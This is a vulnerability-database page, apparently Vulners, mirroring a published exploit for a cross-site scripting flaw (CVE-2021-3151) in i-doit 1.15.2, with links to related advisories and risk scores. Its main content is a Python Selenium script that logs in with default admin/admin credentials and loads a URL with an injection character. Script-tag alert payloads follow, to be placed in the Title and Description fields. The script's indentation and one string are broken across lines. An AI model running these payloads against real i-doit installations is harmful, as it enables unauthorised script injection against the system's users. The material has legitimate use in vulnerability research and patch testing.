Lucene search
K

i-doit 1.15.2 Cross Site Scripting Vulnerability

🗓️ 26 May 2021 00:00:00Reported by zdtType 
zdt
 zdt
🔗 0day.today👁 45 Views

i-doit 1.15.2 Cross Site Scripting Vulnerability, SXX for parameter (viewMode) from Infrastructure, Exploit Source, Vulnerable section, Payload insertio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-3151
27 Feb 202107:40
circl
CNNVD
Synetics i-doit 跨站脚本漏洞
27 Feb 202100:00
cnnvd
CNVD
Synetics i-doit cross-site scripting vulnerability (CNVD-2021-39651)
1 Mar 202100:00
cnvd
CVE
CVE-2021-3151
27 Feb 202104:15
cve
Cvelist
CVE-2021-3151
27 Feb 202104:15
cvelist
EUVD
EUVD-2021-26495
7 Oct 202500:30
euvd
NVD
CVE-2021-3151
27 Feb 202105:15
nvd
OSV
CVE-2021-3151
27 Feb 202105:15
osv
Packet Storm
i-doit 1.15.2 Cross Site Scripting
26 May 202100:00
packetstorm
Prion
Cross site scripting
27 Feb 202105:15
prion
Rows per page
# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from Infrastructure
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.25.2021
# Vendor: https://www.i-doit.org/news/
# Link: https://www.i-doit.org/new-minor-release-i-doit-open-1-15-2/
# From Github:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip
# CVE: CVE-2021-3151 - NEW
# Proof: https://streamable.com/vofczm

[+] Exploit Source:
#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3151

from selenium import webdriver
import time
import os, sys


# Vendor: https://www.i-doit.org/news/
website_link="http://192.168.1.160/?"

# enter your login username
username="admin"

# enter your login password
password="admin"

#enter the element for username input field
element_for_username="login_username"

#enter the element for password input field
element_for_password="login_password"

#enter the element for submit button
element_for_submit="login_submit"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(1)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit XSS vulnerability parameter viewMode
time.sleep(3)
# Payload Parameter: "viewMode" (Infrastructure > catgID=41 == XSS
injection simbol{'})
browser.get(("
http://192.168.1.160/index.php?viewMode=1002&tvMode=1006&tvType=1&objID=26&catgID=41%27
"))

print("The payload is deployed now this is bad for the owner \;)\...\n")


except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, but something is wrong and this exploit is not working...")

## The exploit

## Vulnerable (Infrastructure) section
## Parameter:
viewMode (Infrastructure, Object, Network > local pots = XSS simbol{'})

- URL

http://192.168.1.2/?viewMode=1100&tvMode=1006&tvType=1&objID=26&catgID=41&objTypeID=19&cateID=1&editMode=1

## insert the payload into:

Title:       <script>alert("nu11secur1ty_is_here");</script>
Description: <script>alert("nu11secur1ty_is_here");</script>

---------------------------------

# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from
Infrastructure
# Date: 05.25.2021
# Exploit Authotr idea: @nu11secur1ty
# Exploit Debugging: @nu11secur1ty
# Vendor Homepage: https://www.i-doit.org/news/
# Software Link:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip
# Steps to Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3151

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 May 2021 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 23.5
CVSS 3.15.4
EPSS0.00195
45